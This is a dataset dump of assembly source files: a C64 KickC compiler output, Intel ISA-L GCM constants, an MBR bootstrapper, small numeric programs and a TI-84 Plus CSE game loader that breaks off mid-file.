hexsha
stringlengths 40
40
| size
int64 6
1.05M
| ext
stringclasses 3
values | lang
stringclasses 1
value | max_stars_repo_path
stringlengths 4
232
| max_stars_repo_name
stringlengths 7
106
| max_stars_repo_head_hexsha
stringlengths 40
40
| max_stars_repo_licenses
sequencelengths 1
7
| max_stars_count
int64 1
33.5k
⌀ | max_stars_repo_stars_event_min_datetime
stringlengths 24
24
⌀ | max_stars_repo_stars_event_max_datetime
stringlengths 24
24
⌀ | max_issues_repo_path
stringlengths 4
232
| max_issues_repo_name
stringlengths 7
106
| max_issues_repo_head_hexsha
stringlengths 40
40
| max_issues_repo_licenses
sequencelengths 1
7
| max_issues_count
int64 1
37.5k
⌀ | max_issues_repo_issues_event_min_datetime
stringlengths 24
24
⌀ | max_issues_repo_issues_event_max_datetime
stringlengths 24
24
⌀ | max_forks_repo_path
stringlengths 4
232
| max_forks_repo_name
stringlengths 7
106
| max_forks_repo_head_hexsha
stringlengths 40
40
| max_forks_repo_licenses
sequencelengths 1
7
| max_forks_count
int64 1
12.6k
⌀ | max_forks_repo_forks_event_min_datetime
stringlengths 24
24
⌀ | max_forks_repo_forks_event_max_datetime
stringlengths 24
24
⌀ | content
stringlengths 6
1.05M
| avg_line_length
float64 1.16
19.7k
| max_line_length
int64 2
938k
| alphanum_fraction
float64 0
1
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
df7e6d8c573485bd0609b53fc595a7391d52bd36 | 144 | asm | Assembly | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver1/sfc/ys_w65.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver1/sfc/ys_w65.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver1/sfc/ys_w65.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: ys_w65.asm
Type: file
Size: 19208
Last-Modified: '2016-05-13T04:51:16Z'
SHA-1: A25396919ADD9E81E87BA85A9DA47FA81E8C8FAA
Description: null
| 20.571429 | 47 | 0.8125 |
50fcf8c8b3edefb68348046fcb87693849bf2c9c | 9,816 | asm | Assembly | src/test/ref/multiply-16bit-const.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/test/ref/multiply-16bit-const.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/test/ref/multiply-16bit-const.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | /// @file
/// A lightweight library for printing on the C64.
///
/// Printing with this library is done by calling print_ function for each element
// Commodore 64 PRG executable file
.file [name="multiply-16bit-const.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(main)
.label print_screen = $400
.label print_char_cursor = $c
.label print_line_cursor = $11
.label print_char_cursor_1 = $11
.label print_line_cursor_1 = $f
.segment Code
main: {
.label i = $13
.label __5 = 2
.label __6 = 2
.label __7 = 2
.label __8 = 2
.label __9 = 2
.label __10 = 2
.label __11 = 2
// print_cls()
jsr print_cls
lda #<print_screen
sta.z print_char_cursor_1
lda #>print_screen
sta.z print_char_cursor_1+1
lda #<print_screen
sta.z print_line_cursor_1
lda #>print_screen
sta.z print_line_cursor_1+1
lda #<0
sta.z i
sta.z i+1
lda #<0>>$10
sta.z i+2
lda #>0>>$10
sta.z i+3
__b1:
// for(unsigned long i=0;i<3330;i+=333)
lda.z i+3
cmp #>$d02>>$10
bcc __b2
bne !+
lda.z i+2
cmp #<$d02>>$10
bcc __b2
bne !+
lda.z i+1
cmp #>$d02
bcc __b2
bne !+
lda.z i
cmp #<$d02
bcc __b2
!:
// }
rts
__b2:
// print_ulong_decimal(i*555)
lda.z i
asl
sta.z __5
lda.z i+1
rol
sta.z __5+1
lda.z i+2
rol
sta.z __5+2
lda.z i+3
rol
sta.z __5+3
asl.z __5
rol.z __5+1
rol.z __5+2
rol.z __5+3
asl.z __5
rol.z __5+1
rol.z __5+2
rol.z __5+3
asl.z __5
rol.z __5+1
rol.z __5+2
rol.z __5+3
clc
lda.z __6
adc.z i
sta.z __6
lda.z __6+1
adc.z i+1
sta.z __6+1
lda.z __6+2
adc.z i+2
sta.z __6+2
lda.z __6+3
adc.z i+3
sta.z __6+3
asl.z __7
rol.z __7+1
rol.z __7+2
rol.z __7+3
asl.z __7
rol.z __7+1
rol.z __7+2
rol.z __7+3
clc
lda.z __8
adc.z i
sta.z __8
lda.z __8+1
adc.z i+1
sta.z __8+1
lda.z __8+2
adc.z i+2
sta.z __8+2
lda.z __8+3
adc.z i+3
sta.z __8+3
asl.z __9
rol.z __9+1
rol.z __9+2
rol.z __9+3
asl.z __9
rol.z __9+1
rol.z __9+2
rol.z __9+3
clc
lda.z __10
adc.z i
sta.z __10
lda.z __10+1
adc.z i+1
sta.z __10+1
lda.z __10+2
adc.z i+2
sta.z __10+2
lda.z __10+3
adc.z i+3
sta.z __10+3
asl.z __11
rol.z __11+1
rol.z __11+2
rol.z __11+3
clc
lda.z print_ulong_decimal.w
adc.z i
sta.z print_ulong_decimal.w
lda.z print_ulong_decimal.w+1
adc.z i+1
sta.z print_ulong_decimal.w+1
lda.z print_ulong_decimal.w+2
adc.z i+2
sta.z print_ulong_decimal.w+2
lda.z print_ulong_decimal.w+3
adc.z i+3
sta.z print_ulong_decimal.w+3
jsr print_ulong_decimal
// print_ln()
jsr print_ln
// i+=333
clc
lda.z i
adc #<$14d
sta.z i
lda.z i+1
adc #>$14d
sta.z i+1
lda.z i+2
adc #0
sta.z i+2
lda.z i+3
adc #0
sta.z i+3
lda.z print_line_cursor
sta.z print_line_cursor_1
lda.z print_line_cursor+1
sta.z print_line_cursor_1+1
jmp __b1
}
// Clear the screen. Also resets current line/char cursor.
print_cls: {
// memset(print_screen, ' ', 1000)
jsr memset
// }
rts
}
// Print a unsigned long as DECIMAL
// void print_ulong_decimal(__zp(2) unsigned long w)
print_ulong_decimal: {
.label w = 2
// ultoa(w, decimal_digits_long, DECIMAL)
jsr ultoa
// print_str(decimal_digits_long)
jsr print_str
// }
rts
}
// Print a newline
print_ln: {
__b1:
// print_line_cursor + $28
lda #$28
clc
adc.z print_line_cursor_1
sta.z print_line_cursor
lda #0
adc.z print_line_cursor_1+1
sta.z print_line_cursor+1
// while (print_line_cursor<print_char_cursor)
cmp.z print_char_cursor+1
bcc __b2
bne !+
lda.z print_line_cursor
cmp.z print_char_cursor
bcc __b2
!:
// }
rts
__b2:
lda.z print_line_cursor
sta.z print_line_cursor_1
lda.z print_line_cursor+1
sta.z print_line_cursor_1+1
jmp __b1
}
// Copies the character c (an unsigned char) to the first num characters of the object pointed to by the argument str.
// void * memset(void *str, char c, unsigned int num)
memset: {
.const c = ' '
.const num = $3e8
.label str = print_screen
.label end = str+num
.label dst = $11
lda #<str
sta.z dst
lda #>str
sta.z dst+1
__b1:
// for(char* dst = str; dst!=end; dst++)
lda.z dst+1
cmp #>end
bne __b2
lda.z dst
cmp #<end
bne __b2
// }
rts
__b2:
// *dst = c
lda #c
ldy #0
sta (dst),y
// for(char* dst = str; dst!=end; dst++)
inc.z dst
bne !+
inc.z dst+1
!:
jmp __b1
}
// Converts unsigned number value to a string representing it in RADIX format.
// If the leading digits are zero they are not included in the string.
// - value : The number to be converted to RADIX
// - buffer : receives the string representing the number and zero-termination.
// - radix : The radix to convert the number to (from the enum RADIX)
// void ultoa(__zp(2) unsigned long value, __zp($a) char *buffer, char radix)
ultoa: {
.const max_digits = $a
.label value = 2
.label digit_value = 6
.label buffer = $a
.label digit = $e
lda #<decimal_digits_long
sta.z buffer
lda #>decimal_digits_long
sta.z buffer+1
ldx #0
txa
sta.z digit
__b1:
// for( char digit=0; digit<max_digits-1; digit++ )
lda.z digit
cmp #max_digits-1
bcc __b2
// *buffer++ = DIGITS[(char)value]
lda.z value
tay
lda DIGITS,y
ldy #0
sta (buffer),y
// *buffer++ = DIGITS[(char)value];
inc.z buffer
bne !+
inc.z buffer+1
!:
// *buffer = 0
lda #0
tay
sta (buffer),y
// }
rts
__b2:
// unsigned long digit_value = digit_values[digit]
lda.z digit
asl
asl
tay
lda RADIX_DECIMAL_VALUES_LONG,y
sta.z digit_value
lda RADIX_DECIMAL_VALUES_LONG+1,y
sta.z digit_value+1
lda RADIX_DECIMAL_VALUES_LONG+2,y
sta.z digit_value+2
lda RADIX_DECIMAL_VALUES_LONG+3,y
sta.z digit_value+3
// if (started || value >= digit_value)
cpx #0
bne __b5
lda.z value+3
cmp.z digit_value+3
bcc !+
bne __b5
lda.z value+2
cmp.z digit_value+2
bcc !+
bne __b5
lda.z value+1
cmp.z digit_value+1
bcc !+
bne __b5
lda.z value
cmp.z digit_value
bcs __b5
!:
__b4:
// for( char digit=0; digit<max_digits-1; digit++ )
inc.z digit
jmp __b1
__b5:
// ultoa_append(buffer++, value, digit_value)
jsr ultoa_append
// ultoa_append(buffer++, value, digit_value)
// value = ultoa_append(buffer++, value, digit_value)
// value = ultoa_append(buffer++, value, digit_value);
inc.z buffer
bne !+
inc.z buffer+1
!:
ldx #1
jmp __b4
}
// Print a zero-terminated string
// void print_str(__zp($a) char *str)
print_str: {
.label str = $a
lda.z print_char_cursor_1
sta.z print_char_cursor
lda.z print_char_cursor_1+1
sta.z print_char_cursor+1
lda #<decimal_digits_long
sta.z str
lda #>decimal_digits_long
sta.z str+1
__b1:
// while(*str)
ldy #0
lda (str),y
cmp #0
bne __b2
// }
rts
__b2:
// print_char(*(str++))
ldy #0
lda (str),y
jsr print_char
// print_char(*(str++));
inc.z str
bne !+
inc.z str+1
!:
jmp __b1
}
// Used to convert a single digit of an unsigned number value to a string representation
// Counts a single digit up from '0' as long as the value is larger than sub.
// Each time the digit is increased sub is subtracted from value.
// - buffer : pointer to the char that receives the digit
// - value : The value where the digit will be derived from
// - sub : the value of a '1' in the digit. Subtracted continually while the digit is increased.
// (For decimal the subs used are 10000, 1000, 100, 10, 1)
// returns : the value reduced by sub * digit so that it is less than sub.
// __zp(2) unsigned long ultoa_append(__zp($a) char *buffer, __zp(2) unsigned long value, __zp(6) unsigned long sub)
ultoa_append: {
.label buffer = $a
.label value = 2
.label sub = 6
.label return = 2
ldx #0
__b1:
// while (value >= sub)
lda.z value+3
cmp.z sub+3
bcc !+
bne __b2
lda.z value+2
cmp.z sub+2
bcc !+
bne __b2
lda.z value+1
cmp.z sub+1
bcc !+
bne __b2
lda.z value
cmp.z sub
bcs __b2
!:
// *buffer = DIGITS[digit]
lda DIGITS,x
ldy #0
sta (buffer),y
// }
rts
__b2:
// digit++;
inx
// value -= sub
lda.z value
sec
sbc.z sub
sta.z value
lda.z value+1
sbc.z sub+1
sta.z value+1
lda.z value+2
sbc.z sub+2
sta.z value+2
lda.z value+3
sbc.z sub+3
sta.z value+3
jmp __b1
}
// Print a single char
// void print_char(__register(A) char ch)
print_char: {
// *(print_char_cursor++) = ch
ldy #0
sta (print_char_cursor),y
// *(print_char_cursor++) = ch;
inc.z print_char_cursor
bne !+
inc.z print_char_cursor+1
!:
// }
rts
}
.segment Data
// The digits used for numbers
DIGITS: .text "0123456789abcdef"
// Values of decimal digits
RADIX_DECIMAL_VALUES_LONG: .dword $3b9aca00, $5f5e100, $989680, $f4240, $186a0, $2710, $3e8, $64, $a
// Digits used for storing the decimal unsigned int
decimal_digits_long: .fill $b, 0
| 20.974359 | 118 | 0.596577 |
ad25b921d03ba9a0ce151edf076097a795603d13 | 7,828 | asm | Assembly | src/native/third_party/isa-l_crypto/aes/gcm_defines.asm | guptsanj/noobaa-core | 91b01ec8d537780d3b0a7a9a20065000167d882a | [
"Apache-2.0"
] | null | null | null | src/native/third_party/isa-l_crypto/aes/gcm_defines.asm | guptsanj/noobaa-core | 91b01ec8d537780d3b0a7a9a20065000167d882a | [
"Apache-2.0"
] | null | null | null | src/native/third_party/isa-l_crypto/aes/gcm_defines.asm | guptsanj/noobaa-core | 91b01ec8d537780d3b0a7a9a20065000167d882a | [
"Apache-2.0"
] | null | null | null | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2016 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; Authors:
; Erdinc Ozturk
; Vinodh Gopal
; James Guilford
;;;;;;
section .data
align 16
POLY dq 0x0000000000000001, 0xC200000000000000
POLY2 dq 0x00000001C2000000, 0xC200000000000000
TWOONE dq 0x0000000000000001, 0x0000000100000000
; order of these constants should not change.
; more specifically, ALL_F should follow SHIFT_MASK, and ZERO should follow ALL_F
SHUF_MASK dq 0x08090A0B0C0D0E0F, 0x0001020304050607
SHIFT_MASK dq 0x0706050403020100, 0x0f0e0d0c0b0a0908
ALL_F dq 0xffffffffffffffff, 0xffffffffffffffff
ZERO dq 0x0000000000000000, 0x0000000000000000
ONE dq 0x0000000000000001, 0x0000000000000000
TWO dq 0x0000000000000002, 0x0000000000000000
ONEf dq 0x0000000000000000, 0x0100000000000000
TWOf dq 0x0000000000000000, 0x0200000000000000
section .text
;;define the fields of gcm_data struct
;typedef struct gcm_data
;{
; u8 expanded_keys[16*15];
; u8 shifted_hkey_1[16]; // store HashKey <<1 mod poly here
; u8 shifted_hkey_2[16]; // store HashKey^2 <<1 mod poly here
; u8 shifted_hkey_3[16]; // store HashKey^3 <<1 mod poly here
; u8 shifted_hkey_4[16]; // store HashKey^4 <<1 mod poly here
; u8 shifted_hkey_5[16]; // store HashKey^5 <<1 mod poly here
; u8 shifted_hkey_6[16]; // store HashKey^6 <<1 mod poly here
; u8 shifted_hkey_7[16]; // store HashKey^7 <<1 mod poly here
; u8 shifted_hkey_8[16]; // store HashKey^8 <<1 mod poly here
; u8 shifted_hkey_1_k[16]; // store XOR of High 64 bits and Low 64 bits of HashKey <<1 mod poly here (for Karatsuba purposes)
; u8 shifted_hkey_2_k[16]; // store XOR of High 64 bits and Low 64 bits of HashKey^2 <<1 mod poly here (for Karatsuba purposes)
; u8 shifted_hkey_3_k[16]; // store XOR of High 64 bits and Low 64 bits of HashKey^3 <<1 mod poly here (for Karatsuba purposes)
; u8 shifted_hkey_4_k[16]; // store XOR of High 64 bits and Low 64 bits of HashKey^4 <<1 mod poly here (for Karatsuba purposes)
; u8 shifted_hkey_5_k[16]; // store XOR of High 64 bits and Low 64 bits of HashKey^5 <<1 mod poly here (for Karatsuba purposes)
; u8 shifted_hkey_6_k[16]; // store XOR of High 64 bits and Low 64 bits of HashKey^6 <<1 mod poly here (for Karatsuba purposes)
; u8 shifted_hkey_7_k[16]; // store XOR of High 64 bits and Low 64 bits of HashKey^7 <<1 mod poly here (for Karatsuba purposes)
; u8 shifted_hkey_8_k[16]; // store XOR of High 64 bits and Low 64 bits of HashKey^8 <<1 mod poly here (for Karatsuba purposes)
;} gcm_data;
%define HashKey 16*15 ; store HashKey <<1 mod poly here
%define HashKey_1 16*15 ; store HashKey <<1 mod poly here
%define HashKey_2 16*16 ; store HashKey^2 <<1 mod poly here
%define HashKey_3 16*17 ; store HashKey^3 <<1 mod poly here
%define HashKey_4 16*18 ; store HashKey^4 <<1 mod poly here
%define HashKey_5 16*19 ; store HashKey^5 <<1 mod poly here
%define HashKey_6 16*20 ; store HashKey^6 <<1 mod poly here
%define HashKey_7 16*21 ; store HashKey^7 <<1 mod poly here
%define HashKey_8 16*22 ; store HashKey^8 <<1 mod poly here
%define HashKey_k 16*23 ; store XOR of High 64 bits and Low 64 bits of HashKey <<1 mod poly here (for Karatsuba purposes)
%define HashKey_2_k 16*24 ; store XOR of High 64 bits and Low 64 bits of HashKey^2 <<1 mod poly here (for Karatsuba purposes)
%define HashKey_3_k 16*25 ; store XOR of High 64 bits and Low 64 bits of HashKey^3 <<1 mod poly here (for Karatsuba purposes)
%define HashKey_4_k 16*26 ; store XOR of High 64 bits and Low 64 bits of HashKey^4 <<1 mod poly here (for Karatsuba purposes)
%define HashKey_5_k 16*27 ; store XOR of High 64 bits and Low 64 bits of HashKey^5 <<1 mod poly here (for Karatsuba purposes)
%define HashKey_6_k 16*28 ; store XOR of High 64 bits and Low 64 bits of HashKey^6 <<1 mod poly here (for Karatsuba purposes)
%define HashKey_7_k 16*29 ; store XOR of High 64 bits and Low 64 bits of HashKey^7 <<1 mod poly here (for Karatsuba purposes)
%define HashKey_8_k 16*30 ; store XOR of High 64 bits and Low 64 bits of HashKey^8 <<1 mod poly here (for Karatsuba purposes)
%define AadHash 16*0 ; store current Hash of data which has been input
%define AadLen 16*1 ; store length of input data which will not be encrypted or decrypted
%define InLen (16*1)+8 ; store length of input data which will be encrypted or decrypted
%define PBlockEncKey 16*2 ; encryption key for the partial block at the end of the previous update
%define OrigIV 16*3 ; input IV
%define CurCount 16*4 ; Current counter for generation of encryption key
%define PBlockLen 16*5 ; length of partial block at the end of the previous update
%define reg(q) xmm %+ q
%define arg(x) [r14 + STACK_OFFSET + 8*x]
%ifnidn __OUTPUT_FORMAT__, elf64
%xdefine arg1 rcx
%xdefine arg2 rdx
%xdefine arg3 r8
%xdefine arg4 r9
%xdefine arg5 rsi ;[r14 + STACK_OFFSET + 8*5] - need push and load
%xdefine arg6 [r14 + STACK_OFFSET + 8*6]
%xdefine arg7 [r14 + STACK_OFFSET + 8*7]
%xdefine arg8 [r14 + STACK_OFFSET + 8*8]
%xdefine arg9 [r14 + STACK_OFFSET + 8*9]
%xdefine arg10 [r14 + STACK_OFFSET + 8*10]
%else
%xdefine arg1 rdi
%xdefine arg2 rsi
%xdefine arg3 rdx
%xdefine arg4 rcx
%xdefine arg5 r8
%xdefine arg6 r9
%xdefine arg7 [r14 + STACK_OFFSET + 8*1]
%xdefine arg8 [r14 + STACK_OFFSET + 8*2]
%xdefine arg9 [r14 + STACK_OFFSET + 8*3]
%xdefine arg10 [r14 + STACK_OFFSET + 8*4]
%endif
%ifdef NT_LDST
%define NT_LD
%define NT_ST
%endif
;;; Use Non-temporal load/stor
%ifdef NT_LD
%define XLDR movntdqa
%define VXLDR vmovntdqa
%else
%define XLDR movdqu
%define VXLDR vmovdqu
%endif
;;; Use Non-temporal load/stor
%ifdef NT_ST
%define XSTR movntdq
%define VXSTR vmovntdq
%else
%define XSTR movdqu
%define VXSTR vmovdqu
%endif
| 48.02454 | 136 | 0.687787 |
f67eb65b420bcffcb4b49411190a42deaff06e6d | 2,960 | asm | Assembly | bootstrapper/mbr.asm | supercomputer7/nahmanboot2 | 6b4ed2db89394ef2e8d878df98a988e205a63ee6 | [
"MIT"
] | 3 | 2019-10-15T22:22:51.000Z | 2019-11-29T10:39:28.000Z | bootstrapper/mbr.asm | supercomputer7/nahmanboot2 | 6b4ed2db89394ef2e8d878df98a988e205a63ee6 | [
"MIT"
] | null | null | null | bootstrapper/mbr.asm | supercomputer7/nahmanboot2 | 6b4ed2db89394ef2e8d878df98a988e205a63ee6 | [
"MIT"
] | null | null | null | ;Copyright 2019 Liav Albani
;Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
;The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
;THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
BITS 16
ORG 0x600
start:
cli ; We do not want to be interrupted
mov eax,0x7fffffff
mov ebx,cr0
and ebx,eax
mov cr0,ebx ; disable paging just in case someone before this code enabled it (e.g. bootloader like SYSLINUX)
xor ax, ax ; 0 AX
mov ds, ax ; Set Data Segment to 0
mov es, ax ; Set Extra Segment to 0
mov ss, ax ; Set Stack Segment to 0
mov sp, ax ; Set Stack Pointer to 0
;;CopyLower
mov cx, 0x0100 ; 256 WORDs in MBR
mov si, 0x7C00 ; Current MBR Address
mov di, 0x0600 ; New MBR Address
rep movsw ; Copy MBR
jmp 0:LowStart ; Jump to new Address
LowStart:
cli ; Disable interrupts
xor ebx,ebx
mov bx,word [default_bios_boot_lba]
call ReadSectors ; Read Sector
jmp 0x0:0x800 ; Jump To VBR
;; Defining Disk Address Packet Structure
daps1 db 10h
db 0 ; always 0
daps1_sectors dw 8 ; number of sectors to load - 4
daps1_offset dw 0x800 ; offset to transfer
daps1_segment dw 0x0 ; segment to transfer
daps1_lba dq 1 ; lower 32 bits of 48Bit LBA
default_bios_boot_lba dw 2048
ReadSectors:
lea si, [daps1]
mov [daps1_lba],ebx
call load_data_from_disk
ret
; Function: load_data_from_disk
; Parameters: no parameters
; Purpose: Load Data from Disk
; Returns: nothing
load_data_from_disk:
push ax
push dx
mov ah,0x42
mov dl,0x80
int 13h
pop dx
pop ax
ret
ERROR:
mov ecx,0xDEADC0DE
jmp $
times (218 - ($-$$)) nop ; Pad for disk time stamp
DiskTimeStamp times 8 db 0 ; Disk Time Stamp
bootDrive db 0 ; Our Drive Number Variable
PToff dw 0 ; Our Partition Table Entry Offset
times (0x1b4 - ($-$$)) nop ; Pad For MBR Partition Table | 35.662651 | 461 | 0.675338 |
5c12a3106be2d13674bfae0396c61bf9f458df34 | 345 | asm | Assembly | programs/oeis/040/A040648.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/040/A040648.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/040/A040648.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A040648: Continued fraction for sqrt(674).
; 25,1,24,1,50,1,24,1,50,1,24,1,50,1,24,1,50,1,24,1,50,1,24,1,50,1,24,1,50,1,24,1,50,1,24,1,50,1,24,1,50,1,24,1,50,1,24,1,50,1,24,1,50,1,24,1,50,1,24,1,50,1,24,1,50,1,24,1,50,1,24,1,50,1,24
gcd $0,262156
mul $0,42
mod $0,13
mov $1,$0
div $1,5
mul $1,20
add $0,$1
mul $0,2
sub $0,6
div $0,2
add $0,1
| 23 | 189 | 0.608696 |
eb1bc961b4feb948465fe789bbbe32d60a4fb3df | 225 | asm | Assembly | 04-semantics/06/resources/main.asm | jtpaasch/bap-kb | ba4b54e22bed6a7d28142ce58369ea64795f3d96 | [
"MIT"
] | null | null | null | 04-semantics/06/resources/main.asm | jtpaasch/bap-kb | ba4b54e22bed6a7d28142ce58369ea64795f3d96 | [
"MIT"
] | null | null | null | 04-semantics/06/resources/main.asm | jtpaasch/bap-kb | ba4b54e22bed6a7d28142ce58369ea64795f3d96 | [
"MIT"
] | null | null | null | global main:function (main.end - main)
; -------------------------------------------
section .text
; -------------------------------------------
main:
mov rdi, 7
add rdi, 3
mov rax, 60
syscall
.end:
| 17.307692 | 45 | 0.337778 |
aebc0dd47c93bc07d31b58c1cc283c68921a701b | 5,740 | asm | Assembly | Games/CMonster (Breakout)/Source/loader.asm | CiaranGruber/Ti-84-Calculator | 96742a4a2b9e21aa9d675575dc7e4f26365430c0 | [
"MIT"
] | 1 | 2019-03-31T11:49:12.000Z | 2019-03-31T11:49:12.000Z | Games/CMonster (Breakout)/Source/loader.asm | CiaranGruber/Ti-84-Calculator | 96742a4a2b9e21aa9d675575dc7e4f26365430c0 | [
"MIT"
] | null | null | null | Games/CMonster (Breakout)/Source/loader.asm | CiaranGruber/Ti-84-Calculator | 96742a4a2b9e21aa9d675575dc7e4f26365430c0 | [
"MIT"
] | 1 | 2020-03-09T13:21:19.000Z | 2020-03-09T13:21:19.000Z | ;############## CMonster by Patrick Davidson - TI-84 Plus C Silver Edition specific
#include ti84pcse.inc
#define WORDLEN 2
#define TI84CSE_LOADER
#include data.asm
load_address =plotSScreen+768
;############## Flash app header
.org $4000
.db $80,$0f,0,0,0,0 ; master field
.db $80,$48,"CMonster"
.db $80,$90 ; disable splash screen
.db $80,$81,1 ; 1 page add
.db $80,$12,$01,$0f ; 10F signing key (for 84+CSE)
.db $03,$20,$09,$00 ; empty date stamp
.db $02,$00 ; empty date signature
.db $80,$70 ; final field of flash header
jp main_loader_code
jp Search_Levels
jp Read_Ext_Level
jp Draw_String
jp Draw_Char
jp Draw_Strings
;############## Write HL to display register A
Write_Display_Control:
out ($10),a
out ($10),a
ld c,$11
out (c),h
out (c),l
ret
Write_Display_Control_C11:
out ($10),a
out ($10),a
out (c),h
out (c),l
ret
jp GET_KEY
jp Select_External_Levels
jp Clear_Screen
jp Full_Window
jp timer_wait
jp timer_init
jp Decode_A_DE
jp Decode_A_DE_3
.block (256-($ & 255))
brick_palettes:
#include palette.i
#include chars.i
packed_brick_images:
#include bricks.i
#include shared.asm
#include search.asm
#include text.asm
#include select.asm
main_loader_code:
ld a,1
out ($20),a ; maximum CPU speed
ld a,$45
out ($30),a ; set timer frequency to 2048Hz
call Read_Files ; read from variables if possible
ld hl,0
add hl,sp
ld sp,$8100 ; new stack at $8100
push hl ; save old stack
ld a,7 ; set our first data page at $C000
out (5),a
ld hl,saved_flag ; copy game variables to ingame pages
ld de,saved_flag+$4000
ld bc,data_end-saved_flag
ldir
ld hl,high_scores
ld de,high_scores+$4000
ld bc,TABLE_SIZE
ldir
ld a,6 ; set our data page at $C000
out (5),a
ld a,$87 ; set our data page at $8000
out (7),a
ld hl,compressed_data
ld de,load_address
call Decompress
call load_address ; run main game code
ld a,1 ; set standard $8000 page at $C000
out (5),a
ld hl,saved_flag
ld de,saved_flag+$4000
ld bc,data_end-saved_flag
ldir
ld hl,high_scores
ld de,high_scores+$4000
ld bc,TABLE_SIZE
ldir
xor a ; restore usual RAM at $C000
out (5),a
ld a,$81 ; restore usual RAM at $8000
out (7),a
pop hl ; restore stack pointer
ld sp,hl
ld a,(saved_flag)
dec a
jr nz,no_level_editor
call level_editor
call Full_Window
jr exit_app
no_level_editor:
call Write_Files ; write to variables if needed
exit_app:
bcall(_DrawStatusBar)
bcall(_maybe_ClrScrn)
bjump(_JForceCmdNoChar)
#include editor.asm
#include "..\ti86\lite86\lite86.asm"
#include save.asm
Add_6_Digits_BCD:
ld b,6
loop_add_nocarry:
xor a
loop_add:
dec hl
dec de
ld a,(de)
adc a,(hl)
sub '0' ; '0' was added twice because both ASCII
cp '0'+10
jr c,loop_add_nocarry_end
sub 10
ccf
ld (hl),a
djnz loop_add
ret
loop_add_nocarry_end:
ld (hl),a
djnz loop_add_nocarry
ret
Set_Sprite_Boundary:
ld h,0
ld a,$50 ; set minimum Y
call Write_Display_Control
ld a,$20 ; set current Y
call Write_Display_Control_C11
ld l,b ; set minimum X
ld h,0
add hl,hl
ld a,$52
call Write_Display_Control_C11
ld a,$21 ; set current X
call Write_Display_Control_C11
ld a,(de)
inc de
ld c,a
ld b,0
add hl,bc
ld a,$53 ; set maximum X
